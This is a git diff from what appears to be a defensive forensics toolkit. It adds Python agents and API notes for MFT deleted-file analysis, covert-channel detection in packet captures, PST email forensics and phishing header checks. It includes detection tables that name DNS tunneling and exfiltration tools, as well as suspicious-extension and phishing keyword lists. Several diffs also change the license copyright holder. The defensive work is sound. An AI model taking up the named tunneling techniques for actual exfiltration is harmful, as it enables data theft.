}
|
||||
|
||||
attr_offset = offset + first_attr_offset
|
||||
while attr_offset + 4 <= len(data):
|
||||
attr_type = struct.unpack_from("<I", data, attr_offset)[0]
|
||||
if attr_type == 0xFFFFFFFF:
|
||||
break
|
||||
attr_length = struct.unpack_from("<I", data, attr_offset + 4)[0]
|
||||
if attr_length == 0 or attr_offset + attr_length > len(data):
|
||||
break
|
||||
|
||||
if attr_type == 0x10: # $STANDARD_INFORMATION
|
||||
if attr_offset + 24 + 32 <= len(data):
|
||||
si_offset = attr_offset + struct.unpack_from("<H", data, attr_offset + 20)[0]
|
||||
if si_offset + 32 <= len(data):
|
||||
entry["created"] = str(filetime_to_dt(struct.unpack_from("<Q", data, si_offset)[0]))
|
||||
entry["modified"] = str(filetime_to_dt(struct.unpack_from("<Q", data, si_offset + 8)[0]))
|
||||
entry["mft_modified"] = str(filetime_to_dt(struct.unpack_from("<Q", data, si_offset + 16)[0]))
|
||||
entry["accessed"] = str(filetime_to_dt(struct.unpack_from("<Q", data, si_offset + 24)[0]))
|
||||
|
||||
elif attr_type == 0x30: # $FILE_NAME
|
||||
non_res = struct.unpack_from("<B", data, attr_offset + 8)[0]
|
||||
if non_res == 0:
|
||||
fn_offset = attr_offset + struct.unpack_from("<H", data, attr_offset + 20)[0]
|
||||
if fn_offset + 66 <= len(data):
|
||||
parent_ref = struct.unpack_from("<Q", data, fn_offset)[0] & 0xFFFFFFFFFFFF
|
||||
name_len = data[fn_offset + 64] if fn_offset + 64 < len(data) else 0
|
||||
name_ns = data[fn_offset + 65] if fn_offset + 65 < len(data) else 0
|
||||
if fn_offset + 66 + name_len * 2 <= len(data):
|
||||
filename = data[fn_offset + 66:fn_offset + 66 + name_len * 2].decode("utf-16-le", errors="ignore")
|
||||
entry["filename"] = filename
|
||||
entry["parent_ref"] = parent_ref
|
||||
entry["name_type"] = {0: "POSIX", 1: "Win32", 2: "DOS", 3: "Win32+DOS"}.get(name_ns, "Unknown")
|
||||
|
||||
attr_offset += attr_length
|
||||
|
||||
return entry
|
||||
|
||||
|
||||
def parse_mft_file(mft_path):
|
||||
"""Parse an extracted MFT file."""
|
||||
entries = []
|
||||
with open(mft_path, "rb") as f:
|
||||
data = f.read()
|
||||
|
||||
total_entries = len(data) // MFT_ENTRY_SIZE
|
||||
for i in range(total_entries):
|
||||
offset = i * MFT_ENTRY_SIZE
|
||||
entry = parse_mft_entry(data, offset)
|
||||
if entry:
|
||||
entry["record_number"] = i
|
||||
entries.append(entry)
|
||||
|
||||
logger.info("Parsed %d MFT entries (%d total records)", len(entries), total_entries)
|
||||
return entries
|
||||
|
||||
|
||||
def find_deleted_files(entries):
|
||||
"""Find deleted file entries in MFT."""
|
||||
deleted = [e for e in entries if not e["in_use"] and e.get("filename")]
|
||||
logger.info("Found %d deleted file entries", len(deleted))
|
||||
return deleted
|
||||
|
||||
|
||||
def analyze_deleted_files(deleted):
|
||||
"""Analyze deleted files for forensic significance."""
|
||||
findings = []
|
||||
suspicious_extensions = {".exe", ".dll", ".ps1", ".bat", ".cmd", ".vbs", ".js", ".hta", ".scr"}
|
||||
for entry in deleted:
|
||||
fname = entry.get("filename", "").lower()
|
||||
ext = os.path.splitext(fname)[1]
|
||||
if ext in suspicious_extensions:
|
||||
findings.append({
|
||||
"record": entry["record_number"],
|
||||
"filename": entry.get("filename"),
|
||||
"type": "Deleted executable/script",
|
||||
"severity": "high",
|
||||
"modified": entry.get("modified"),
|
||||
})
|
||||
return findings
|
||||
|
||||
|
||||
def generate_report(entries, deleted, findings):
|
||||
"""Generate MFT analysis report."""
|
||||
report = {
|
||||
"timestamp": datetime.utcnow().isoformat(),
|
||||
"total_entries": len(entries),
|
||||
"active_entries": len([e for e in entries if e["in_use"]]),
|
||||
"deleted_entries": len(deleted),
|
||||
"suspicious_deleted": len(findings),
|
||||
"findings": findings[:100],
|
||||
"deleted_files": [{"record": d["record_number"], "filename": d.get("filename"), "modified": d.get("modified")} for d in deleted[:200]],
|
||||
}
|
||||
print(f"MFT REPORT: {len(entries)} entries, {len(deleted)} deleted, {len(findings)} suspicious")
|
||||
return report
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="MFT Deleted File Recovery Agent")
|
||||
parser.add_argument("--mft-file", required=True, help="Path to extracted $MFT file")
|
||||
parser.add_argument("--output", default="mft_report.json")
|
||||
args = parser.parse_args()
|
||||
|
||||
entries = parse_mft_file(args.mft_file)
|
||||
deleted = find_deleted_files(entries)
|
||||
findings = analyze_deleted_files(deleted)
|
||||
report = generate_report(entries, deleted, findings)
|
||||
with open(args.output, "w") as f:
|
||||
json.dump(report, f, indent=2, default=str)
|
||||
logger.info("Report saved to %s", args.output)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -0,0 +1,87 @@
|
||||
# API Reference: Network Covert Channel Detection
|
||||
|
||||
## Scapy - Packet Analysis
|
||||
|
||||
### DNS Tunneling Detection
|
||||
```python
|
||||
from scapy.all import rdpcap, DNS, DNSQR, IP
|
||||
|
||||
packets = rdpcap("capture.pcap")
|
||||
for pkt in packets:
|
||||
if pkt.haslayer(DNSQR):
|
||||
qname = pkt[DNSQR].qname.decode().rstrip(".")
|
||||
src = pkt[IP].src
|
||||
qtype = pkt[DNSQR].qtype # 1=A, 16=TXT, 28=AAAA
|
||||
```
|
||||
|
||||
### ICMP Payload Extraction
|
||||
```python
|
||||
from scapy.all import ICMP, Raw
|
||||
|
||||
for pkt in packets:
|
||||
if pkt.haslayer(ICMP) and pkt.haslayer(Raw):
|
||||
payload = bytes(pkt[Raw].load)
|
||||
icmp_type = pkt[ICMP].type # 8=echo-request, 0=echo-reply
|
||||
```
|
||||
|
||||
## Zeek - Covert Channel Detection
|
||||
|
||||
### DNS Tunneling Indicators
|
||||
```zeek
|
||||
@load base/protocols/dns
|
||||
event dns_request(c: connection, msg: dns_msg, query: string, qtype: count) {
|
||||
if (|query| > 60)
|
||||
print fmt("Long DNS query: %s from %s", query, c$id$orig_h);
|
||||
}
|
||||
```
|
||||
|
||||
### Configuration
|
||||
```bash
|
||||
zeek -r capture.pcap local
|
||||
# Outputs: dns.log, conn.log, weird.log
|
||||
```
|
||||
|
||||
## tshark - Protocol Filtering
|
||||
|
||||
### DNS Analysis
|
||||
```bash
|
||||
tshark -r capture.pcap -Y "dns" -T fields \
|
||||
-e ip.src -e dns.qry.name -e dns.qry.type -e frame.len
|
||||
|
||||
# Filter long DNS queries
|
||||
tshark -r capture.pcap -Y "dns.qry.name matches \"^.{60,}\"" -T fields -e dns.qry.name
|
||||
```
|
||||
|
||||
### ICMP Payload Analysis
|
||||
```bash
|
||||
tshark -r capture.pcap -Y "icmp && data.len > 64" -T fields \
|
||||
-e ip.src -e ip.dst -e icmp.type -e data.len -e data.data
|
||||
```
|
||||
|
||||
## DNS Tunneling Tools
|
||||
|
||||
| Tool | Technique | Detection Method |
|
||||
|------|-----------|-----------------|
|
||||
| iodine | TXT/NULL/CNAME records | High entropy subdomains |
|
||||
| dns2tcp | TXT records | Encoded query names |
|
||||
| dnscat2 | TXT/CNAME/MX/A records | Base32/Base64 subdomain patterns |
|
||||
| DNSExfiltrator | TXT records | High query volume to single domain |
|
||||
|
||||
## Entropy Thresholds
|
||||
|
||||
| Range | Interpretation |
|
||||
|-------|---------------|
|
||||
| < 2.0 | Normal domain labels (English words) |
|
||||
| 2.0-3.5 | Possibly encoded but may be legitimate |
|
||||
| 3.5-5.0 | Likely Base32/Base64 encoded (tunneling) |
|
||||
| > 5.0 | Encrypted/random data (strong tunneling indicator) |
|
||||
|
||||
## Covert Channel Categories
|
||||
|
||||
| Channel Type | Protocol | Detection Method |
|
||||
|-------------|----------|-----------------|
|
||||
| DNS Tunneling | DNS (53/udp) | Subdomain entropy, query volume |
|
||||
| ICMP Tunnel | ICMP (type 8/0) | Payload size, entropy, volume |
|
||||
| HTTP Header | HTTP (80/tcp) | Cookie size, custom header entropy |
|
||||
| Protocol Abuse | IP options, GRE | Unusual protocol numbers |
|
||||
| Timing Channel | TCP | Inter-packet timing analysis |
|
||||
@@ -0,0 +1,191 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Network covert channel detection agent for malware traffic analysis.
|
||||
|
||||
Detects DNS tunneling, ICMP covert channels, HTTP header steganography,
|
||||
and protocol abuse in PCAP captures using scapy.
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import json
|
||||
import math
|
||||
import hashlib
|
||||
from collections import Counter, defaultdict
|
||||
|
||||
try:
|
||||
from scapy.all import rdpcap, DNS, DNSQR, DNSRR, ICMP, IP, TCP, UDP, Raw
|
||||
HAS_SCAPY = True
|
||||
except ImportError:
|
||||
HAS_SCAPY = False
|
||||
|
||||
|
||||
def shannon_entropy(data):
|
||||
"""Calculate Shannon entropy of byte data."""
|
||||
if not data:
|
||||
return 0.0
|
||||
freq = Counter(data)
|
||||
length = len(data)
|
||||
return -sum((c / length) * math.log2(c / length) for c in freq.values())
|
||||
|
||||
|
||||
def detect_dns_tunneling(packets, entropy_threshold=3.5, length_threshold=50):
|
||||
"""Detect DNS tunneling by analyzing query name entropy and length."""
|
||||
findings = []
|
||||
dns_queries = defaultdict(list)
|
||||
for pkt in packets:
|
||||
if pkt.haslayer(DNSQR):
|
||||
qname = pkt[DNSQR].qname.decode("utf-8", errors="replace").rstrip(".")
|
||||
src = pkt[IP].src if pkt.haslayer(IP) else "?"
|
||||
labels = qname.split(".")
|
||||
subdomain = ".".join(labels[:-2]) if len(labels) > 2 else qname
|
||||
entropy = shannon_entropy(subdomain.encode())
|
||||
base_domain = ".".join(labels[-2:]) if len(labels) >= 2 else qname
|
||||
dns_queries[base_domain].append({
|
||||
"query": qname, "src": src, "entropy": round(entropy, 3),
|
||||
"subdomain_len": len(subdomain),
|
||||
})
|
||||
if entropy > entropy_threshold and len(subdomain) > length_threshold:
|
||||
findings.append({
|
||||
"type": "dns_tunneling", "query": qname, "src": src,
|
||||
"entropy": round(entropy, 3),
|
||||
"subdomain_length": len(subdomain), "severity": "HIGH",
|
||||
})
|
||||
volume_findings = []
|
||||
for domain, queries in dns_queries.items():
|
||||
if len(queries) > 100:
|
||||
avg_entropy = sum(q["entropy"] for q in queries) / len(queries)
|
||||
if avg_entropy > 3.0:
|
||||
volume_findings.append({
|
||||
"type": "dns_high_volume", "domain": domain,
|
||||
"query_count": len(queries),
|
||||
"avg_entropy": round(avg_entropy, 3), "severity": "HIGH",
|
||||
})
|
||||
return findings[:50], volume_findings
|
||||
|
||||
|
||||
def detect_icmp_covert_channel(packets, payload_threshold=64):
|
||||
"""Detect ICMP covert channels via payload analysis."""
|
||||
findings = []
|
||||
icmp_flows = defaultdict(list)
|
||||
for pkt in packets:
|
||||
if pkt.haslayer(ICMP) and pkt.haslayer(Raw):
|
||||
payload = bytes(pkt[Raw].load)
|
||||
src = pkt[IP].src if pkt.haslayer(IP) else "?"
|
||||
dst = pkt[IP].dst if pkt.haslayer(IP) else "?"
|
||||
entropy = shannon_entropy(payload)
|
||||
flow_key = f"{src}->{dst}"
|
||||
icmp_flows[flow_key].append(payload)
|
||||
if len(payload) > payload_threshold and entropy > 5.0:
|
||||
findings.append({
|
||||
"type": "icmp_covert", "src": src, "dst": dst,
|
||||
"icmp_type": pkt[ICMP].type,
|
||||
"payload_size": len(payload),
|
||||
"entropy": round(entropy, 3), "severity": "HIGH",
|
||||
})
|
||||
for flow, payloads in icmp_flows.items():
|
||||
total_bytes = sum(len(p) for p in payloads)
|
||||
if total_bytes > 10000:
|
||||
findings.append({
|
||||
"type": "icmp_exfiltration", "flow": flow,
|
||||
"total_bytes": total_bytes,
|
||||
"packet_count": len(payloads), "severity": "HIGH",
|
||||
})
|
||||
return findings[:50]
|
||||
|
||||
|
||||
def detect_http_header_covert(packets):
|
||||
"""Detect covert data in HTTP headers."""
|
||||
findings = []
|
||||
for pkt in packets:
|
||||
if pkt.haslayer(TCP) and pkt.haslayer(Raw):
|
||||
try:
|
||||
payload = bytes(pkt[Raw].load).decode("utf-8", errors="replace")
|
||||
except Exception:
|
||||
continue
|
||||
if not payload.startswith(("GET ", "POST ", "HTTP/")):
|
||||
continue
|
||||
for line in payload.split("\r\n"):
|
||||
if ":" not in line:
|
||||
continue
|
||||
header, _, value = line.partition(":")
|
||||
value = value.strip()
|
||||
if header.lower() == "cookie" and len(value) > 500:
|
||||
entropy = shannon_entropy(value.encode())
|
||||
if entropy > 4.5:
|
||||
findings.append({
|
||||
"type": "http_cookie_exfil", "header": header,
|
||||
"value_length": len(value),
|
||||
"entropy": round(entropy, 3), "severity": "MEDIUM",
|
||||
})
|
||||
if header.lower().startswith("x-") and len(value) > 100:
|
||||
entropy = shannon_entropy(value.encode())
|
||||
if entropy > 4.0:
|
||||
findings.append({
|
||||
"type": "http_custom_header", "header": header,
|
||||
"value_length": len(value),
|
||||
"entropy": round(entropy, 3), "severity": "MEDIUM",
|
||||
})
|
||||
return findings[:50]
|
||||
|
||||
|
||||
def detect_protocol_anomalies(packets):
|
||||
"""Detect protocol-level anomalies indicating covert communication."""
|
||||
findings = []
|
||||
for pkt in packets:
|
||||
if pkt.haslayer(IP):
|
||||
proto = pkt[IP].proto
|
||||
if proto not in (1, 6, 17, 47, 50, 51):
|
||||
findings.append({
|
||||
"type": "unusual_ip_proto", "protocol": proto,
|
||||
"src": pkt[IP].src, "dst": pkt[IP].dst, "severity": "MEDIUM",
|
||||
})
|
||||
return findings[:50]
|
||||
|
||||
|
||||
def generate_report(pcap_path, dns_f, dns_v, icmp_f, http_f, proto_f):
|
||||
"""Generate covert channel analysis report."""
|
||||
total = len(dns_f) + len(icmp_f) + len(http_f) + len(proto_f)
|
||||
return {
|
||||
"pcap_file": pcap_path, "total_findings": total,
|
||||
"dns_tunneling": {"count": len(dns_f), "findings": dns_f[:10]},
|
||||
"dns_volume_anomalies": dns_v[:10],
|
||||
"icmp_covert": {"count": len(icmp_f), "findings": icmp_f[:10]},
|
||||
"http_header_covert": {"count": len(http_f), "findings": http_f[:10]},
|
||||
"protocol_anomalies": {"count": len(proto_f), "findings": proto_f[:10]},
|
||||
"risk_level": "HIGH" if total > 10 else "MEDIUM" if total > 3 else "LOW",
|
||||
}
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("=" * 60)
|
||||
print("Network Covert Channel Detection Agent")
|
||||
print("DNS tunneling, ICMP covert, HTTP header, protocol abuse")
|
||||
print("=" * 60)
|
||||
|
||||
pcap = sys.argv[1] if len(sys.argv) > 1 else None
|
||||
if not pcap or not os.path.exists(pcap):
|
||||
print("\n[DEMO] Usage: python agent.py <capture.pcap>")
|
||||
print(f" scapy available: {HAS_SCAPY}")
|
||||
sys.exit(0)
|
||||
if not HAS_SCAPY:
|
||||
print("[!] Install scapy: pip install scapy")
|
||||
sys.exit(1)
|
||||
|
||||
print(f"\n[*] Loading: {pcap}")
|
||||
packets = rdpcap(pcap)
|
||||
print(f"[*] Packets: {len(packets)}")
|
||||
|
||||
dns_f, dns_v = detect_dns_tunneling(packets)
|
||||
icmp_f = detect_icmp_covert_channel(packets)
|
||||
http_f = detect_http_header_covert(packets)
|
||||
proto_f = detect_protocol_anomalies(packets)
|
||||
report = generate_report(pcap, dns_f, dns_v, icmp_f, http_f, proto_f)
|
||||
|
||||
print(f"\n--- DNS Tunneling ({len(dns_f)}) ---")
|
||||
for f in dns_f[:5]:
|
||||
print(f" {f['src']} | entropy={f['entropy']} | {f['query'][:60]}")
|
||||
print(f"\n--- ICMP Covert ({len(icmp_f)}) ---")
|
||||
for f in icmp_f[:5]:
|
||||
print(f" {f.get('flow', f.get('src','?'))} | {f.get('payload_size', f.get('total_bytes','?'))}B")
|
||||
print(f"\n[*] Risk: {report['risk_level']}")
|
||||
print(json.dumps(report, indent=2, default=str))
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -0,0 +1,98 @@
|
||||
# API Reference: Outlook PST Email Forensics
|
||||
|
||||
## pypff (libpff Python bindings)
|
||||
|
||||
### Installation
|
||||
```bash
|
||||
pip install libpff-python
|
||||
```
|
||||
|
||||
### Opening a PST File
|
||||
```python
|
||||
import pypff
|
||||
|
||||
pst = pypff.file()
|
||||
pst.open("mailbox.pst")
|
||||
root = pst.get_root_folder()
|
||||
```
|
||||
|
||||
### Navigating Folders
|
||||
```python
|
||||
for i in range(root.number_of_sub_folders):
|
||||
folder = root.get_sub_folder(i)
|
||||
print(f"{folder.name}: {folder.number_of_sub_messages} messages")
|
||||
```
|
||||
|
||||
### Extracting Messages
|
||||
```python
|
||||
msg = folder.get_sub_message(0)
|
||||
print(msg.subject)
|
||||
print(msg.sender_name)
|
||||
print(msg.delivery_time)
|
||||
print(msg.transport_headers)
|
||||
print(msg.plain_text_body)
|
||||
print(msg.html_body)
|
||||
```
|
||||
|
||||
### Extracting Attachments
|
||||
```python
|
||||
for i in range(msg.number_of_attachments):
|
||||
att = msg.get_attachment(i)
|
||||
print(f"Name: {att.name}, Size: {att.size}")
|
||||
data = att.read_buffer(att.size)
|
||||
```
|
||||
|
||||
## pffexport (CLI)
|
||||
|
||||
### Syntax
|
||||
```bash
|
||||
pffexport mailbox.pst # Export all to current dir
|
||||
pffexport -m all mailbox.pst # Export all message types
|
||||
pffexport -t target_dir mailbox.pst # Export to target directory
|
||||
pffexport -f text mailbox.pst # Export as text format
|
||||
```
|
||||
|
||||
### Output Structure
|
||||
```
|
||||
Export/
|
||||
Inbox/
|
||||
Message001/
|
||||
Message.txt
|
||||
Attachment001.pdf
|
||||
Sent Items/
|
||||
Deleted Items/
|
||||
```
|
||||
|
||||
## readpst (libpst)
|
||||
|
||||
### Syntax
|
||||
```bash
|
||||
readpst -o output_dir mailbox.pst # Extract to dir
|
||||
readpst -e mailbox.pst # Extract attachments
|
||||
readpst -r mailbox.pst # Recursive extraction
|
||||
readpst -j 4 mailbox.pst # Parallel (4 threads)
|
||||
readpst -S mailbox.pst # Separate files per message
|
||||
```
|
||||
|
||||
## PST File Structure
|
||||
|
||||
| Component | Description |
|
||||
|-----------|-------------|
|
||||
| NDB Layer | Node Database - raw data storage |
|
||||
| LTP Layer | Lists/Tables/Properties - message properties |
|
||||
| Messaging Layer | Folders, messages, attachments |
|
||||
|
||||
## Key Message Properties
|
||||
| Property | MAPI Tag | Description |
|
||||
|----------|----------|-------------|
|
||||
| Subject | PR_SUBJECT (0x0037) | Email subject |
|
||||
| Sender | PR_SENDER_NAME (0x0C1A) | Sender display name |
|
||||
| From | PR_SENT_REPRESENTING_EMAIL (0x0065) | Sender email |
|
||||
| Delivery Time | PR_MESSAGE_DELIVERY_TIME (0x0E06) | When delivered |
|
||||
| Headers | PR_TRANSPORT_MESSAGE_HEADERS (0x007D) | Full SMTP headers |
|
||||
|
||||
## Forensic Considerations
|
||||
- Deleted Items folder may contain evidence
|
||||
- Recoverable Items (dumpster) requires special extraction
|
||||
- Calendar/Contacts may contain relevant data
|
||||
- Journal entries can provide timeline evidence
|
||||
@@ -0,0 +1,180 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Outlook PST file forensic analysis agent.
|
||||
|
||||
Parses PST/OST files using pypff (libpff) to extract emails, attachments,
|
||||
metadata, and deleted items for forensic investigation.
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import json
|
||||
import hashlib
|
||||
import re
|
||||
from datetime import datetime
|
||||
from collections import defaultdict
|
||||
|
||||
try:
|
||||
import pypff
|
||||
HAS_PYPFF = True
|
||||
except ImportError:
|
||||
HAS_PYPFF = False
|
||||
|
||||
|
||||
def compute_hash(filepath):
|
||||
sha256 = hashlib.sha256()
|
||||
with open(filepath, "rb") as f:
|
||||
for chunk in iter(lambda: f.read(65536), b""):
|
||||
sha256.update(chunk)
|
||||
return sha256.hexdigest()
|
||||
|
||||
|
||||
def open_pst(filepath):
|
||||
if not HAS_PYPFF:
|
||||
return None, "pypff not installed. pip install libpff-python"
|
||||
pst = pypff.file()
|
||||
pst.open(filepath)
|
||||
return pst, None
|
||||
|
||||
|
||||
def extract_messages(folder, max_messages=1000):
|
||||
messages = []
|
||||
for i in range(min(folder.number_of_sub_messages, max_messages)):
|
||||
msg = folder.get_sub_message(i)
|
||||
entry = {
|
||||
"subject": msg.subject or "",
|
||||
"sender": msg.sender_name or "",
|
||||
"headers": (msg.transport_headers or "")[:500],
|
||||
"creation_time": str(msg.creation_time) if msg.creation_time else "",
|
||||
"delivery_time": str(msg.delivery_time) if msg.delivery_time else "",
|
||||
"has_attachments": msg.number_of_attachments > 0,
|
||||
"attachment_count": msg.number_of_attachments,
|
||||
"body_size": len(msg.plain_text_body or "") if msg.plain_text_body else 0,
|
||||
}
|
||||
# Extract attachment metadata
|
||||
attachments = []
|
||||
for j in range(msg.number_of_attachments):
|
||||
att = msg.get_attachment(j)
|
||||
attachments.append({
|
||||
"name": att.name or f"attachment_{j}",
|
||||
"size": att.size,
|
||||
})
|
||||
entry["attachments"] = attachments
|
||||
messages.append(entry)
|
||||
return messages
|
||||
|
||||
|
||||
def walk_folders(folder, path="", results=None):
|
||||
if results is None:
|
||||
results = []
|
||||
current_path = f"{path}/{folder.name}" if folder.name else path or "/Root"
|
||||
messages = extract_messages(folder)
|
||||
if messages:
|
||||
results.append({
|
||||
"folder": current_path,
|
||||
"message_count": len(messages),
|
||||
"messages": messages,
|
||||
})
|
||||
for i in range(folder.number_of_sub_folders):
|
||||
subfolder = folder.get_sub_folder(i)
|
||||
walk_folders(subfolder, current_path, results)
|
||||
return results
|
||||
|
||||
|
||||
def extract_email_addresses(messages):
|
||||
addresses = set()
|
||||
email_pattern = re.compile(r"[\w.+-]+@[\w-]+\.[\w.-]+")
|
||||
for msg in messages:
|
||||
for field in [msg.get("sender", ""), msg.get("headers", "")]:
|
||||
addresses.update(email_pattern.findall(field))
|
||||
return sorted(addresses)
|
||||
|
||||
|
||||
def detect_suspicious_emails(messages):
|
||||
findings = []
|
||||
suspicious_exts = [".exe", ".scr", ".bat", ".cmd", ".ps1", ".vbs",
|
||||
".js", ".hta", ".lnk", ".iso", ".img"]
|
||||
for msg in messages:
|
||||
for att in msg.get("attachments", []):
|
||||
name = (att.get("name") or "").lower()
|
||||
for ext in suspicious_exts:
|
||||
if name.endswith(ext):
|
||||
findings.append({
|
||||
"type": "suspicious_attachment",
|
||||
"subject": msg.get("subject", "")[:80],
|
||||
"attachment": att.get("name"),
|
||||
"extension": ext,
|
||||
"severity": "HIGH",
|
||||
})
|
||||
subject = (msg.get("subject") or "").lower()
|
||||
urgency_words = ["urgent", "immediate action", "password expired",
|
||||
"verify your account", "suspended", "click here"]
|
||||
for word in urgency_words:
|
||||
if word in subject:
|
||||
findings.append({
|
||||
"type": "phishing_indicator",
|
||||
"subject": msg.get("subject", "")[:80],
|
||||
"keyword": word,
|
||||
"severity": "MEDIUM",
|
||||
})
|
||||
break
|
||||
return findings
|
||||
|
||||
|
||||
def generate_report(filepath, folder_data):
|
||||
all_messages = []
|
||||
for fd in folder_data:
|
||||
all_messages.extend(fd.get("messages", []))
|
||||
addresses = extract_email_addresses(all_messages)
|
||||
suspicious = detect_suspicious_emails(all_messages)
|
||||
return {
|
||||
"file": filepath,
|
||||
"sha256": compute_hash(filepath),
|
||||
"size": os.path.getsize(filepath),
|
||||
"total_folders": len(folder_data),
|
||||
"total_messages": len(all_messages),
|
||||
"unique_addresses": len(addresses),
|
||||
"top_addresses": addresses[:20],
|
||||
"suspicious_findings": suspicious,
|
||||
"folders": [{
|
||||
"path": f["folder"],
|
||||
"count": f["message_count"],
|
||||
} for f in folder_data],
|
||||
}
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("=" * 60)
|
||||
print("Outlook PST Forensic Analysis Agent")
|
||||
print("Email extraction, attachment analysis, phishing detection")
|
||||
print("=" * 60)
|
||||
|
||||
target = sys.argv[1] if len(sys.argv) > 1 else None
|
||||
if not target or not os.path.exists(target):
|
||||
print("\n[DEMO] Usage: python agent.py <mailbox.pst>")
|
||||
print(f" pypff available: {HAS_PYPFF}")
|
||||
sys.exit(0)
|
||||
|
||||
pst, err = open_pst(target)
|
||||
if err:
|
||||
print(f"[!] {err}")
|
||||
sys.exit(1)
|
||||
|
||||
print(f"\n[*] Parsing: {target}")
|
||||
root = pst.get_root_folder()
|
||||
folder_data = walk_folders(root)
|
||||
report = generate_report(target, folder_data)
|
||||
|
||||
print(f"[*] Folders: {report['total_folders']}")
|
||||
print(f"[*] Messages: {report['total_messages']}")
|
||||
print(f"[*] Unique addresses: {report['unique_addresses']}")
|
||||
|
||||
print("\n--- Folder Structure ---")
|
||||
for f in report["folders"]:
|
||||
print(f" {f['path']}: {f['count']} messages")
|
||||
|
||||
print(f"\n--- Suspicious ({len(report['suspicious_findings'])}) ---")
|
||||
for s in report["suspicious_findings"][:10]:
|
||||
print(f" [{s['severity']}] {s['type']}: {s.get('attachment', s.get('keyword', ''))}")
|
||||
|
||||
pst.close()
|
||||
print(f"\n{json.dumps(report, indent=2, default=str)}")
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -0,0 +1,90 @@
|
||||
# API Reference: Phishing Email Header Analysis
|
||||
|
||||
## Python email Module
|
||||
|
||||
### Parsing Email Files
|
||||
```python
|
||||
import email
|
||||
with open("message.eml", "r") as f:
|
||||
msg = email.message_from_string(f.read())
|
||||
|
||||
print(msg["From"])
|
||||
print(msg["Subject"])
|
||||
print(msg.get_all("Received"))
|
||||
print(msg["Authentication-Results"])
|
||||
```
|
||||
|
||||
### Extracting Body
|
||||
```python
|
||||
if msg.is_multipart():
|
||||
for part in msg.walk():
|
||||
if part.get_content_type() == "text/html":
|
||||
body = part.get_payload(decode=True).decode()
|
||||
```
|
||||
|
||||
## Key Email Headers for Forensics
|
||||
|
||||
| Header | Purpose |
|
||||
|--------|---------|
|
||||
| `Received` | Mail server routing chain (bottom = origin) |
|
||||
| `From` | Claimed sender (can be spoofed) |
|
||||
| `Return-Path` | Envelope sender for bounces |
|
||||
| `Reply-To` | Where replies go (phishing: often different from From) |
|
||||
| `Authentication-Results` | SPF/DKIM/DMARC verdicts |
|
||||
| `Received-SPF` | SPF check result |
|
||||
| `DKIM-Signature` | DKIM cryptographic signature |
|
||||
| `X-Mailer` | Sending software |
|
||||
| `Message-ID` | Unique message identifier |
|
||||
| `X-Originating-IP` | Original sender IP |
|
||||
|
||||
## Authentication Checks
|
||||
|
||||
### SPF Status Values
|
||||
| Value | Meaning |
|
||||
|-------|---------|
|
||||
| `pass` | Sender IP authorized |
|
||||
| `fail` | Sender IP not authorized |
|
||||
| `softfail` | Not authorized but not rejected |
|
||||
| `neutral` | No SPF policy for domain |
|
||||
| `none` | No SPF record exists |
|
||||
|
||||
### DKIM Verification
|
||||
```bash
|
||||
opendkim-testmsg < message.eml
|
||||
# Or in Authentication-Results: dkim=pass header.d=example.com
|
||||
```
|
||||
|
||||
### DMARC Policy Check
|
||||
```bash
|
||||
dig _dmarc.example.com TXT
|
||||
